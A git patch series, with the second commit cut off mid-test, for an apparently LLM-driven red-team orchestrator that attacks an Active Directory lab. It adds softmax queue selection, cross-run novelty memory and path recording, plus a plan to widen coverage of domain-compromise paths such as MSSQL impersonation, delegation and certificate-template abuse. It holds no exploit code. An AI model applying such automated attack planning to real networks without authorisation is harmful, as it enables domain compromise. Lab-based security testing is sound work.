From 8cf1931d3d0cc5c32324c78c33380ade00c08296 Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Thu, 25 Jun 2026 15:07:24 -0700 Subject: [PATCH 1/6] feat: add attack-path diversity knobs and planning documentation MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit **Added:** - Four new `Strategy` fields (`selection_temperature`, `novelty_enabled`, `novelty_scope`, `randomize_entry_foothold`, `emit_path_records`) with env-var, JSON, and YAML resolution layers, all defaulting to today's deterministic behaviour - `strategy.rs` - `NoveltyConfig` struct (`enabled`, `scope`) to `OperationConfig` for cross-run prefix-avoidance configuration - `sections.rs` - `default_novelty_scope()` helper returning `"per-campaign"` with a corresponding unit test - `defaults.rs` - Two new tests: `diversity_defaults_are_deterministic` (guards backwards compatibility) and `diversity_knobs_flow_from_yaml` (exercises full YAML→Strategy resolution) - `strategy.rs` - Comprehensive attack-path diversity design document covering diagnosis, phased work plan (Phase 0–3), success criteria, and key code references - `docs/attack-path-diversity.md` **Changed:** - `ares.yaml` reference config extended with commented-out diversity knobs (`selection_temperature`, `novelty`, `randomize_entry_foothold`, `emit_path_records`) so operators can discover and enable them without reading source - `Strategy::resolve` info log extended to include the four new diversity fields for observability - `Strategy::new` default initialisation updated to include all new fields with zero/false/string defaults --- ares-cli/src/orchestrator/strategy.rs | 92 +++++++++++++++ ares-core/src/config/defaults.rs | 8 ++ ares-core/src/config/sections.rs | 42 +++++++ config/ares.yaml | 22 ++++ docs/attack-path-diversity.md | 159 ++++++++++++++++++++++++++ 5 files changed, 323 insertions(+) create mode 100644 docs/attack-path-diversity.md diff --git a/ares-cli/src/orchestrator/strategy.rs b/ares-cli/src/orchestrator/strategy.rs index a0dc4d8f7..ca53ab8e1 100644 --- a/ares-cli/src/orchestrator/strategy.rs +++ b/ares-cli/src/orchestrator/strategy.rs @@ -62,6 +62,16 @@ pub struct Strategy { pub continue_after_da: bool, /// LLM temperature override. None = provider default. pub llm_temperature: Option, + /// Queue selection temperature. 0.0 = deterministic argmin (current behaviour). + pub selection_temperature: f32, + /// Cross-run novelty memory: bias away from previously walked path prefixes. + pub novelty_enabled: bool, + /// Scope key for novelty memory (which runs share/reset diversity bias). + pub novelty_scope: String, + /// Randomize the entry foothold per run. + pub randomize_entry_foothold: bool, + /// Emit structured per-run path records for coverage measurement (Phase 0). + pub emit_path_records: bool, } impl Default for Strategy { @@ -78,6 +88,11 @@ impl Strategy { exclude_techniques: HashSet::new(), include_techniques: HashSet::new(), llm_temperature: None, + selection_temperature: 0.0, + novelty_enabled: false, + novelty_scope: "per-campaign".to_string(), + randomize_entry_foothold: false, + emit_path_records: false, preset, } } @@ -203,10 +218,44 @@ impl Strategy { }) .or_else(|| yaml.and_then(|c| c.operation.llm_temperature)); + // 7. Attack-path diversity knobs: env > json > yaml. All default to + // today's deterministic behaviour (see docs/attack-path-diversity.md). + if let Some(t) = std::env::var("ARES_SELECTION_TEMPERATURE") + .ok() + .and_then(|v| v.parse::().ok()) + .or_else(|| { + json.and_then(|v| v.get("selection_temperature")) + .and_then(|v| v.as_f64()) + .map(|v| v as f32) + }) + .or_else(|| yaml.map(|c| c.operation.selection_temperature)) + { + strategy.selection_temperature = t.max(0.0); + } + + if let Some(cfg) = yaml { + strategy.novelty_enabled = cfg.operation.novelty.enabled; + if !cfg.operation.novelty.scope.is_empty() { + strategy.novelty_scope = cfg.operation.novelty.scope.clone(); + } + strategy.randomize_entry_foothold = cfg.operation.randomize_entry_foothold; + strategy.emit_path_records = cfg.operation.emit_path_records; + } + if let Ok(v) = std::env::var("ARES_NOVELTY_ENABLED") { + strategy.novelty_enabled = v == "1" || v.to_lowercase() == "true"; + } + if let Ok(v) = std::env::var("ARES_EMIT_PATH_RECORDS") { + strategy.emit_path_records = v == "1" || v.to_lowercase() == "true"; + } + info!( preset = ?strategy.preset, continue_after_da = strategy.continue_after_da, llm_temperature = ?strategy.llm_temperature, + selection_temperature = strategy.selection_temperature, + novelty_enabled = strategy.novelty_enabled, + randomize_entry_foothold = strategy.randomize_entry_foothold, + emit_path_records = strategy.emit_path_records, exclude_count = strategy.exclude_techniques.len(), include_count = strategy.include_techniques.len(), weight_overrides = strategy.weights.len(), @@ -707,6 +756,49 @@ mod tests { assert_eq!(s.effective_priority("secretsdump"), 8); } + #[test] + fn diversity_defaults_are_deterministic() { + // A config with no diversity keys must reproduce today's behaviour. + let cfg = yaml_config("fast", false, vec![], vec![], vec![]); + let s = Strategy::resolve(None, Some(&cfg)); + assert_eq!(s.selection_temperature, 0.0); + assert!(!s.novelty_enabled); + assert_eq!(s.novelty_scope, "per-campaign"); + assert!(!s.randomize_entry_foothold); + assert!(!s.emit_path_records); + } + + #[test] + fn diversity_knobs_flow_from_yaml() { + let yaml_str = serde_yaml::to_string(&serde_json::json!({ + "operation": { + "name": "test", + "namespace": "ns", + "selection_temperature": 0.7, + "novelty": {"enabled": true, "scope": "per-lab"}, + "randomize_entry_foothold": true, + "emit_path_records": true, + }, + "agents": {}, + "timeouts": {}, + "recovery": {}, + "phase_detection": {}, + "context_management": {}, + "vulnerability_priorities": {}, + "logging": {}, + "resources": {}, + "security": {}, + })) + .unwrap(); + let cfg: ares_core::config::AresConfig = serde_yaml::from_str(&yaml_str).unwrap(); + let s = Strategy::resolve(None, Some(&cfg)); + assert_eq!(s.selection_temperature, 0.7); + assert!(s.novelty_enabled); + assert_eq!(s.novelty_scope, "per-lab"); + assert!(s.randomize_entry_foothold); + assert!(s.emit_path_records); + } + #[test] fn json_overrides_yaml() { let cfg = yaml_config("stealth", false, vec![], vec![("esc1", 5)], vec![]); diff --git a/ares-core/src/config/defaults.rs b/ares-core/src/config/defaults.rs index 87555b7e6..fe298fc34 100644 --- a/ares-core/src/config/defaults.rs +++ b/ares-core/src/config/defaults.rs @@ -66,6 +66,9 @@ pub fn default_cred_cache_ttl() -> u64 { pub fn default_max_rpm() -> u32 { 60 } +pub fn default_novelty_scope() -> String { + "per-campaign".to_string() +} #[cfg(test)] mod tests { @@ -182,4 +185,9 @@ mod tests { fn returns_default_max_rpm() { assert_eq!(default_max_rpm(), 60); } + + #[test] + fn returns_default_novelty_scope() { + assert_eq!(default_novelty_scope(), "per-campaign"); + } } diff --git a/ares-core/src/config/sections.rs b/ares-core/src/config/sections.rs index 2206a4fb0..0420f7049 100644 --- a/ares-core/src/config/sections.rs +++ b/ares-core/src/config/sections.rs @@ -48,6 +48,48 @@ pub struct OperationConfig { /// LLM temperature override (0.0-2.0). None = provider default. #[serde(default)] pub llm_temperature: Option, + + // --- Attack-path diversity (see docs/attack-path-diversity.md) --- + // All default to today's deterministic behaviour; nothing changes until set. + /// Queue selection temperature for softmax sampling in `pop_best` / + /// `pop_next_vuln`. 0.0 = deterministic argmin (current behaviour); higher + /// values spread selection across near-equal-priority work for path diversity. + /// Distinct from `llm_temperature`, which only configures the LLM provider. + #[serde(default)] + pub selection_temperature: f32, + + /// Cross-run novelty memory: bias each run away from path prefixes already + /// walked by prior runs. Disabled by default. + #[serde(default)] + pub novelty: NoveltyConfig, + + /// Randomize the entry foothold per run so run N is pushed off run N-1's + /// opening move. Cheapest diversity source; off by default. + #[serde(default)] + pub randomize_entry_foothold: bool, + + /// Emit a structured per-run path record (canonical foothold/technique/target + /// sequence) for coverage measurement. Phase 0 instrumentation; off by default. + #[serde(default)] + pub emit_path_records: bool, +} + +/// Cross-run novelty memory configuration (attack-path diversity). +/// +/// When enabled, the orchestrator persists walked path prefixes and biases +/// selection away from them so the fleet covers more of the ~133 available +/// permutations rather than re-walking the popular path. +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +pub struct NoveltyConfig { + /// Enable cross-run prefix avoidance. + #[serde(default)] + pub enabled: bool, + + /// Scope key controlling which runs share (and reset) novelty memory, so + /// unrelated operations don't poison each other's diversity bias. + /// Defaults to "per-campaign". + #[serde(default = "default_novelty_scope")] + pub scope: String, } /// Per-agent configuration: model selection, step limits, and tool allowlist. diff --git a/config/ares.yaml b/config/ares.yaml index 0b0a429b5..ed2197a6b 100644 --- a/config/ares.yaml +++ b/config/ares.yaml @@ -61,6 +61,28 @@ operation: # selection. None/omit = provider default. # llm_temperature: 1.0 + # --- Attack-path diversity (see docs/attack-path-diversity.md) --- + # All knobs below default to today's deterministic behaviour. Omit them to + # reproduce current runs exactly; set them to spread the fleet across more of + # the available attack paths. + # + # Queue selection temperature for softmax sampling in the exploitation queue. + # 0.0 = deterministic argmin (current behaviour). Higher = more spread across + # near-equal-priority work. Distinct from llm_temperature above. + # selection_temperature: 0.0 + # + # Cross-run novelty memory: bias each run away from path prefixes prior runs + # already walked, so the fleet covers more unique paths. + # novelty: + # enabled: false + # scope: per-campaign # which runs share/reset novelty memory + # + # Randomize the entry foothold per run (cheapest diversity source). + # randomize_entry_foothold: false + # + # Emit structured per-run path records for coverage measurement (Phase 0). + # emit_path_records: false + # Agent configurations agents: orchestrator: diff --git a/docs/attack-path-diversity.md b/docs/attack-path-diversity.md new file mode 100644 index 000000000..f263544a5 --- /dev/null +++ b/docs/attack-path-diversity.md @@ -0,0 +1,159 @@ +# Attack Path Diversity — Plan + +How to get from "launch 100 runs, see ~1 path" to "launch 100 runs, get 80–100 +unique attack paths." This is a *diversity* objective, not a *success* objective — +the levers are different. + +## TL;DR + +The lab is not the limiter. The orchestrator is. Provisioning already supports +**29 distinct paths / ~133 foothold×technique permutations** to domain compromise +(see `../DreadOps/apps/DreadGOAD/docs/domain-compromise-paths.md`). But the +exploitation queue is pure deterministic greedy, so identical state drains in an +identical order and every run walks the *same* path. The gap between "133 +available" and "1 walked per run" is the entire deficit, and it lives in +`ares-cli/src/orchestrator/`. + +Lever ranking: **add exploration to selection** (free, decisive) > **fix +recon→vuln-state coverage** (free, unlocks dark families) > **add lab principals** +(only to push past the 29 distinct-primitive ceiling). Adding new vuln *classes* +is unnecessary — they already exist. + +## Step 0: pin down what "unique" means + +Pick one before measuring; the target number is meaningless without it. + +| View | Ceiling | "Unique path" = | +|---|---|---| +| Distinct primitive | **29** | a different provisioned primitive / minimal chain to DA | +| Permutation | **~133** | a different (foothold × technique) traversal; ADCS is open-ended | + +- **80–100 unique under the permutation view → no lab changes needed.** The ~133 + already exist; the job is purely to make the orchestrator traverse different + ones. This is the realistic reading of the goal. +- **80–100 unique under the distinct-primitive view → above the 29 ceiling.** + Requires lab expansion (Phase 3). Demanding 80–100 *distinct primitives* is + asking for a different lab; 29 distinct technique classes across 100 runs is + already a strong result. + +Recommendation: target the **permutation view**. Define a path canonically as the +ordered sequence of (foothold credential, technique class, target) tuples, and +two runs are "the same path" iff their canonical sequences match. + +## Diagnosis + +Two facts, both verified in code/spec: + +1. **Selection is deterministic greedy — 100 runs ≈ 1 path.** The deferred queue + scores each vuln `priority * 1e9 + enqueue_time * 1000` + (`ares-cli/src/orchestrator/.../deferred.rs:80-83`) and `pop_best` always takes + the global minimum (`deferred.rs:179-238`). No randomization, no temperature, + no novelty term anywhere in the drain loop (`exploitation.rs:112-137`). Strategy + weights (`strategy.rs:238-244`) only affect *automation-created* follow-up + vulns, not the queue selection that picks the actual path. Accidental variance + (recon host-discovery order, LLM temperature, tool-timeout noise) is the only + thing producing any diversity today. + +2. **Recon→vuln-state mapping leaves whole families dark.** Per the lab spec, + MSSQL impersonation / linked-server is **13 paths**, delegation is 3, and the + advanced certificate-template ESCs add several more — all provisioned, all + reachable, none reliably enumerated into actionable queue state. Meanwhile the + ACL graph *floods* the queue. So the queue is simultaneously starved (dark + families never enter) and noisy (ACL edges dominate). + +## The work + +### Phase 0 — Instrument & baseline (do first, cheap) + +You cannot tune diversity you cannot measure. + +- Emit a structured **path record** per run: the canonical (foothold, technique, + target) sequence defined in Step 0, plus first-DA timestamp and domain reached. +- Add a **coverage metric**: unique canonical paths / runs, and which of the ~133 + permutations were touched. Map observed paths back to the spec's path IDs + (N1–N6, S1–S7, E1–E12, C1–C4). +- Run 10 baseline ops. Expectation: coverage collapses to a small handful. This + confirms the deficit is selection, not the lab, and gives you a number to beat. + +Acceptance: a dashboard/report answering "of the 133, how many did N runs hit?" + +### Phase 1 — Exploration in selection (the decisive lever) + +Convert latent paths into observed ones. Two mechanisms, layered: + +- **Softmax-sample the queue** instead of argmin. Add a temperature knob to + `pop_best`: sample from the priority distribution rather than taking the + minimum, so equal/near-equal-priority vulns get chosen in different orders + across runs. Temperature 0 = current behavior (keep as a flag for reproducible + runs). +- **Cross-run novelty memory.** Persist walked path prefixes; bias each run *away* + from prefixes already seen in prior runs (penalty added to score, or + epsilon-greedy override of `pop_best`). This is what deliberately maximizes + *unique* paths rather than relying on sampling luck. Without it, softmax + rediscovers the popular paths repeatedly and the tail goes uncovered. +- Optional: **randomize the entry foothold** per run (and/or a "forbidden first + move") so run N is pushed off run N−1's opening. Cheapest possible diversity + source; useful even before the queue rework lands. + +Acceptance: coverage from Phase 0 baseline rises substantially across the same +run count; the tail (rarely-chosen paths) starts getting hit. + +### Phase 2 — Recon→vuln coverage (unlock the dark families) + +Make the present-but-dark primitives enter the queue as actionable state: + +- **MSSQL impersonation / linked-server (13 paths).** Highest leverage — this is + the largest dark family and the documented bottleneck. Enumerate impersonation + edges and cross-link sysadmin reach into vuln state the strategy can act on. +- **Delegation (3).** Constrained (protocol-transition and kerberos-only) and + unconstrained+coercion. Each is a clean DA finisher independent of relay timing. +- **Advanced certificate-template ESCs.** The any-user templates and the + write-holder ESCs that are rarely fired. +- While here, **rebalance the ACL flood** so it doesn't crowd out newly-enumerated + families (this pairs naturally with Phase 1's selection rework). + +Acceptance: MSSQL and delegation path IDs appear in coverage reports; they were +absent at baseline. + +### Phase 3 — Raise the distinct-primitive ceiling (optional, only if needed) + +Only relevant if you insist on the distinct-primitive view (>29). Do *not* add +new vuln classes — add principals, because the certificate-template any-user +grant scales path count with the number of forest accounts (+7 paths per added +account, per the spec). This is the one cheap, open-ended lab lever, and it's +closer to "change user perms" than "change which vulns." Adding cold-start creds +or duplicate primitives is pure redundancy. + +## Success criteria + +- A single canonical definition of "unique path" (Step 0), used consistently. +- A coverage metric and baseline (Phase 0). +- Phase 1 + Phase 2 land and coverage approaches the permutation ceiling across + 100 runs. If targeting the permutation view, **this is sufficient for 80–100 — + no lab changes.** +- Reproducibility preserved: temperature 0 / novelty-off reproduces deterministic + runs for debugging. + +## Key references + +| What | Where | +|---|---| +| Queue score formula | `ares-cli/src/orchestrator/.../deferred.rs:80-83` | +| Greedy `pop_best` (no exploration) | `deferred.rs:179-238` | +| Exploitation drain loop | `ares-cli/src/orchestrator/.../exploitation.rs:112-137` | +| Strategy weights (automation-only) | `ares-cli/src/orchestrator/strategy.rs:238-244` | +| Artifact-level dedup (not path-level) | `ares-cli/src/dedup/mod.rs` | +| Lab path inventory (29 / ~133) | `../DreadOps/apps/DreadGOAD/docs/domain-compromise-paths.md` | + +## Risks / open questions + +- **Novelty memory storage.** Cross-run state needs a home (Redis keyspace?) and a + reset/scope policy so unrelated operations don't poison each other's novelty + bias. +- **Exploration vs. completion.** Softmax/novelty trades single-run efficiency for + fleet diversity; some runs will take longer or take worse paths. Acceptable for + a diversity objective, but keep the deterministic mode for "best path" ops. +- **Dedup interaction.** Dedup is artifact-level today; confirm it doesn't + silently suppress re-exploration that diversity depends on. +- **Counting drift.** The ~133 is sub-rule-sensitive (91 / 128 / 133). Lock the + counting rule in Step 0 or the target number moves under you. From 403e101c2f12c0513b61caf87e481ee20776552e Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Thu, 25 Jun 2026 15:24:21 -0700 Subject: [PATCH 2/6] feat: add attack-path diversity primitives and orchestrator integration MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit **Added:** - New `diversity` module (`diversity.rs`) with softmax queue selection, cross-run novelty memory via scoped Redis sets, and per-operation path record/coverage instrumentation — all inert at default settings (temperature=0, novelty off, emit_path_records off) - `softmax_select_index` helper that samples by priority at a given temperature; degrades to exact argmin at temperature ≤ 0, preserving previous deterministic behaviour - `record_step` async helper to append `PathStep` JSON to a per-operation Redis list and update the coverage and novelty sets on exploit success - `novelty_seen` helper to batch-query a scoped Redis set (`ares:novelty:{scope}:steps`) for already-walked `(technique, target)` steps - Unit test suite for `softmax_select_index`, key helpers, and `PathStep` JSON round-trip - `rand 0.8` dependency added to `ares-cli/Cargo.toml` and `Cargo.lock` **Changed:** - `pop_next_vuln` in `exploitation.rs` — fast-paths to atomic `ZPOPMIN` when diversity is disabled; otherwise peeks top-K candidates, applies novelty penalties, then softmax-samples and removes the chosen member - `pop_best` in `deferred.rs` — refactored from a single argmin scan to a candidate-collect + softmax-select pattern; at temperature 0 behaviour is identical to before - `dispatch_initial_recon` in `bootstrap.rs` — shuffles entry IP order when `randomize_entry_foothold` is set, varying the opening recon target across runs - `task_params_from_payload` in `submission.rs` — persists `vuln_type` and `target` fields so the path recorder can reconstruct the canonical step on exploit success - `process_completed_task` in `result_processing/mod.rs` — calls `record_step` on exploit success when `emit_path_records` or `novelty_enabled` is set - `docs/attack-path-diversity.md` — documents landed Phase 0/1 levers, their config keys, Redis key shapes, and remaining Phase 2/3 work --- Cargo.lock | 1 + ares-cli/Cargo.toml | 1 + ares-cli/src/orchestrator/bootstrap.rs | 12 +- ares-cli/src/orchestrator/deferred.rs | 81 +++-- .../src/orchestrator/dispatcher/submission.rs | 4 + ares-cli/src/orchestrator/diversity.rs | 283 ++++++++++++++++++ ares-cli/src/orchestrator/exploitation.rs | 92 +++++- ares-cli/src/orchestrator/mod.rs | 1 + .../src/orchestrator/result_processing/mod.rs | 29 ++ docs/attack-path-diversity.md | 22 ++ 10 files changed, 485 insertions(+), 41 deletions(-) create mode 100644 ares-cli/src/orchestrator/diversity.rs diff --git a/Cargo.lock b/Cargo.lock index d82c5b15b..e2e8b544d 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -123,6 +123,7 @@ dependencies = [ "futures", "hickory-resolver", "local-ip-address", + "rand 0.8.6", "redis", "regex", "rstest", diff --git a/ares-cli/Cargo.toml b/ares-cli/Cargo.toml index caaff7dc1..9195bbaa1 100644 --- a/ares-cli/Cargo.toml +++ b/ares-cli/Cargo.toml @@ -34,6 +34,7 @@ sqlx = { workspace = true } regex = { workspace = true } dotenvy = "0.15" async-trait = "0.1" +rand = "0.8" thiserror = { workspace = true } hickory-resolver = { workspace = true } local-ip-address = "0.6" diff --git a/ares-cli/src/orchestrator/bootstrap.rs b/ares-cli/src/orchestrator/bootstrap.rs index cf59feda7..8e57fcd59 100644 --- a/ares-cli/src/orchestrator/bootstrap.rs +++ b/ares-cli/src/orchestrator/bootstrap.rs @@ -282,10 +282,20 @@ pub(crate) async fn dispatch_initial_recon( let mut count = 0; let domain = &config.target_domain; + // Order the entry targets. When randomize_entry_foothold is set, shuffle so + // each run opens against a different target — the cheapest attack-path + // diversity source, pushing run N off run N-1's opening move + // (see docs/attack-path-diversity.md). + let mut entry_ips: Vec<&String> = config.target_ips.iter().collect(); + if dispatcher.config.strategy.randomize_entry_foothold { + use rand::seq::SliceRandom; + entry_ips.shuffle(&mut rand::thread_rng()); + } + // Network scan + SMB sweep + SMB signing check per target IP. // smb_sweep (NetExec) is critical: it discovers hostnames, OS, and DCs // from SMB banners — data that nmap alone may miss. - for ip in &config.target_ips { + for ip in entry_ips { match dispatcher .request_recon( ip, diff --git a/ares-cli/src/orchestrator/deferred.rs b/ares-cli/src/orchestrator/deferred.rs index ec36dddc0..2502b8215 100644 --- a/ares-cli/src/orchestrator/deferred.rs +++ b/ares-cli/src/orchestrator/deferred.rs @@ -23,6 +23,7 @@ use tokio::sync::watch; use tracing::{debug, info, warn}; use crate::orchestrator::config::OrchestratorConfig; +use crate::orchestrator::diversity; use crate::orchestrator::dispatcher::Dispatcher; use crate::orchestrator::task_queue::TaskQueue; use crate::orchestrator::throttling::{ThrottleDecision, Throttler}; @@ -172,10 +173,13 @@ impl DeferredQueue { } } - /// Pop the highest-priority (lowest-score) task from any type ZSET. + /// Pop a task from any type ZSET. /// - /// Scans all known task-type keys for this operation and picks the - /// globally lowest score. + /// Default behaviour: pick the globally lowest score (highest priority) + /// across all per-type ZSETs. When `selection_temperature > 0`, softmax- + /// sample among the per-type lowest candidates by priority instead, so the + /// deferred drain order varies across runs (attack-path diversity). At + /// temperature 0 the selection is exact argmin, identical to before. pub async fn pop_best(&self) -> Result> { let pattern = format!("{}:{}:*", DEFERRED_QUEUE_PREFIX, self.config.operation_id); let total_key = self.total_key(); @@ -188,14 +192,13 @@ impl DeferredQueue { return Ok(None); } - // Find the globally best candidate across all type ZSETs - let mut best: Option<(String, String, f64)> = None; // (key, member, score) - + // Peek the lowest-score member of each per-type ZSET — these are the + // selection candidates. + let mut candidates: Vec<(String, String, DeferredTask)> = Vec::new(); // (key, member, task) for key in &keys { if key == &total_key { continue; } - // Peek at the lowest-score member let members: Vec<(String, f64)> = redis::cmd("ZRANGEBYSCORE") .arg(key) .arg("-inf") @@ -208,34 +211,52 @@ impl DeferredQueue { .await .unwrap_or_default(); - if let Some((member, score)) = members.into_iter().next() { - let dominated = best.as_ref().map(|(_, _, s)| score < *s).unwrap_or(true); - if dominated { - best = Some((key.clone(), member, score)); + if let Some((member, _score)) = members.into_iter().next() { + if let Ok(task) = serde_json::from_str::(&member) { + candidates.push((key.clone(), member, task)); } } } - match best { - Some((key, member, _score)) => { - let total_key = self.total_key(); - let removed: i64 = REMOVE_SCRIPT - .key(&key) - .key(&total_key) - .arg(&member) - .invoke_async(&mut conn) - .await - .unwrap_or(0); - if removed == 0 { - // Someone else grabbed it (unlikely in single-orchestrator mode) - return Ok(None); - } - let task: DeferredTask = - serde_json::from_str(&member).context("Bad DeferredTask JSON")?; - Ok(Some(task)) - } - None => Ok(None), + if candidates.is_empty() { + return Ok(None); + } + + let temperature = self.config.strategy.selection_temperature; + let idx = if temperature > 0.0 { + let priorities: Vec = candidates.iter().map(|(_, _, t)| t.priority as f32).collect(); + let mut rng = rand::thread_rng(); + diversity::softmax_select_index(&priorities, temperature, &mut rng).unwrap_or(0) + } else { + // Exact argmin by score (previous behaviour; first minimum wins). + candidates + .iter() + .enumerate() + .min_by(|(_, a), (_, b)| { + a.2.score() + .partial_cmp(&b.2.score()) + .unwrap_or(std::cmp::Ordering::Equal) + }) + .map(|(i, _)| i) + .unwrap_or(0) + }; + + let (key, member, task) = candidates + .into_iter() + .nth(idx) + .expect("selection index within bounds"); + let removed: i64 = REMOVE_SCRIPT + .key(&key) + .key(&total_key) + .arg(&member) + .invoke_async(&mut conn) + .await + .unwrap_or(0); + if removed == 0 { + // Someone else grabbed it (unlikely in single-orchestrator mode) + return Ok(None); } + Ok(Some(task)) } /// Evict tasks older than `max_age` from all deferred ZSETs. diff --git a/ares-cli/src/orchestrator/dispatcher/submission.rs b/ares-cli/src/orchestrator/dispatcher/submission.rs index 4b1936038..3036cfd03 100644 --- a/ares-cli/src/orchestrator/dispatcher/submission.rs +++ b/ares-cli/src/orchestrator/dispatcher/submission.rs @@ -629,6 +629,10 @@ pub(crate) fn task_params_from_payload( "hash_value", "just_dc_user", "credential", + // Persisted so the attack-path diversity recorder can reconstruct the + // canonical (foothold, technique, target) step on exploit success. + "vuln_type", + "target", ] { if let Some(val) = payload.get(*key) { task_params.insert(key.to_string(), val.clone()); diff --git a/ares-cli/src/orchestrator/diversity.rs b/ares-cli/src/orchestrator/diversity.rs new file mode 100644 index 000000000..ba4c9cfd5 --- /dev/null +++ b/ares-cli/src/orchestrator/diversity.rs @@ -0,0 +1,283 @@ +//! Attack-path diversity primitives. +//! +//! Three opt-in mechanisms, all gated by `Strategy` knobs (see +//! `docs/attack-path-diversity.md`): +//! +//! 1. **Softmax queue selection** — sample the exploitation/deferred queue by +//! priority instead of taking the strict minimum, so equal/near-equal +//! priority work is chosen in different orders across runs. +//! 2. **Cross-run novelty memory** — a scoped Redis set of walked path steps; +//! candidates whose step was already walked in a prior run get a priority +//! penalty, biasing the fleet onto the long tail of paths. +//! 3. **Path records + coverage** — a per-operation ordered record of the +//! canonical `(foothold, technique, target)` steps actually walked, plus a +//! coverage set, for measuring how many distinct paths N runs hit. +//! +//! With `selection_temperature == 0.0`, `novelty_enabled == false`, and +//! `emit_path_records == false` every helper here is inert and the orchestrator +//! reproduces its previous deterministic behaviour exactly. + +use rand::Rng; +use redis::aio::ConnectionManager; +use redis::AsyncCommands; +use serde::{Deserialize, Serialize}; +use tracing::debug; + +use ares_core::state::KEY_PREFIX; + +/// Priority penalty added to a candidate whose canonical step was already +/// walked in a prior run within the same novelty scope. Large enough to push a +/// seen step well down the softmax distribution without making it unreachable. +pub const NOVELTY_PENALTY: f32 = 4.0; + +/// Max queue members to peek when softmax-sampling. Bounds the work per pop +/// while still giving the sampler a meaningful spread to choose from. +pub const CANDIDATE_LIMIT: isize = 24; + +/// One walked step in an attack path, persisted in the per-operation record. +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct PathStep { + /// Foothold credential used (e.g. "svc_sql@contoso.local"), or "-" if none. + pub foothold: String, + /// Technique class (lowercased vuln_type). + pub technique: String, + /// Target the technique was applied against. + pub target: String, +} + +/// Canonical single step key: technique class against a target. Two runs are +/// "the same path" iff their ordered step-key sequences match. +pub fn step_key(vuln_type: &str, target: &str) -> String { + format!("{}:{}", vuln_type.to_lowercase(), target) +} + +/// Cross-run novelty set key, scoped so unrelated operations don't poison each +/// other's diversity bias. Deleting this key resets novelty for the scope. +pub fn novelty_key(scope: &str) -> String { + format!("ares:novelty:{scope}:steps") +} + +/// Per-operation ordered path record (Redis LIST of `PathStep` JSON). +pub fn path_record_key(operation_id: &str) -> String { + format!("{KEY_PREFIX}:{operation_id}:path_record") +} + +/// Per-operation coverage set (distinct step keys walked). +pub fn coverage_key(operation_id: &str) -> String { + format!("{KEY_PREFIX}:{operation_id}:coverage") +} + +/// Pick an index into `priorities` (lower value = more urgent) using softmax +/// sampling at `temperature`. +/// +/// - `temperature <= 0.0` → deterministic argmin (lowest priority, first on +/// ties). This reproduces the previous greedy `ZPOPMIN`/`pop_best` behaviour. +/// - Higher temperature flattens the distribution, spreading selection across +/// near-equal-priority candidates. As `temperature → ∞` it approaches uniform. +/// +/// Returns `None` only for an empty input. +pub fn softmax_select_index( + priorities: &[f32], + temperature: f32, + rng: &mut R, +) -> Option { + if priorities.is_empty() { + return None; + } + if temperature <= 0.0 { + return argmin(priorities); + } + + // Softmax over negative priority, shifted by the minimum so the largest + // exponent is 0 (avoids overflow; lowest-priority candidate weighs most). + let min_p = priorities.iter().copied().fold(f32::INFINITY, f32::min); + let weights: Vec = priorities + .iter() + .map(|p| (-(p - min_p) / temperature).exp()) + .collect(); + let total: f32 = weights.iter().sum(); + if !total.is_finite() || total <= 0.0 { + return argmin(priorities); + } + + let mut r = rng.gen::() * total; + for (i, w) in weights.iter().enumerate() { + r -= w; + if r <= 0.0 { + return Some(i); + } + } + // Floating-point slack — fall through to the last candidate. + Some(weights.len() - 1) +} + +fn argmin(priorities: &[f32]) -> Option { + priorities + .iter() + .enumerate() + .min_by(|(_, a), (_, b)| a.partial_cmp(b).unwrap_or(std::cmp::Ordering::Equal)) + .map(|(i, _)| i) +} + +/// For each step in `steps`, whether it is already in the scope's novelty set. +/// On any Redis error, returns all-false (fail open — never block selection). +pub async fn novelty_seen( + conn: &mut ConnectionManager, + scope: &str, + steps: &[String], +) -> Vec { + if steps.is_empty() { + return Vec::new(); + } + let key = novelty_key(scope); + let mut cmd = redis::cmd("SMISMEMBER"); + cmd.arg(&key); + for s in steps { + cmd.arg(s); + } + let res: Vec = cmd + .query_async(conn) + .await + .unwrap_or_else(|_| vec![0; steps.len()]); + res.into_iter().map(|v| v != 0).collect() +} + +/// Record a successfully-walked path step. +/// +/// - `emit_path_records` → append the `PathStep` to the per-operation record +/// list and add its canonical step key to the coverage set. +/// - `novelty_enabled` → add the canonical step key to the cross-run novelty +/// set so future runs in this scope are biased away from it. +/// +/// Best-effort: Redis errors are logged at debug and swallowed so a recording +/// failure never affects exploitation. +#[allow(clippy::too_many_arguments)] +pub async fn record_step( + conn: &mut ConnectionManager, + operation_id: &str, + novelty_scope: &str, + foothold: Option<&str>, + vuln_type: &str, + target: &str, + emit_path_records: bool, + novelty_enabled: bool, +) { + if !emit_path_records && !novelty_enabled { + return; + } + let skey = step_key(vuln_type, target); + + if emit_path_records { + let step = PathStep { + foothold: foothold.unwrap_or("-").to_string(), + technique: vuln_type.to_lowercase(), + target: target.to_string(), + }; + if let Ok(json) = serde_json::to_string(&step) { + let rkey = path_record_key(operation_id); + if let Err(e) = conn.rpush::<_, _, ()>(&rkey, &json).await { + debug!(err = %e, "path record rpush failed"); + } + } + let ckey = coverage_key(operation_id); + if let Err(e) = conn.sadd::<_, _, ()>(&ckey, &skey).await { + debug!(err = %e, "coverage sadd failed"); + } + } + + if novelty_enabled { + let nkey = novelty_key(novelty_scope); + if let Err(e) = conn.sadd::<_, _, ()>(&nkey, &skey).await { + debug!(err = %e, "novelty sadd failed"); + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + use rand::rngs::StdRng; + use rand::SeedableRng; + + #[test] + fn empty_input_returns_none() { + let mut rng = StdRng::seed_from_u64(1); + assert_eq!(softmax_select_index(&[], 1.0, &mut rng), None); + } + + #[test] + fn zero_temperature_is_argmin() { + let mut rng = StdRng::seed_from_u64(1); + // Lowest priority value wins, deterministically, regardless of rng. + let p = [5.0, 2.0, 9.0, 2.0]; + for _ in 0..100 { + assert_eq!(softmax_select_index(&p, 0.0, &mut rng), Some(1)); + } + } + + #[test] + fn negative_temperature_is_argmin() { + let mut rng = StdRng::seed_from_u64(1); + let p = [3.0, 1.0, 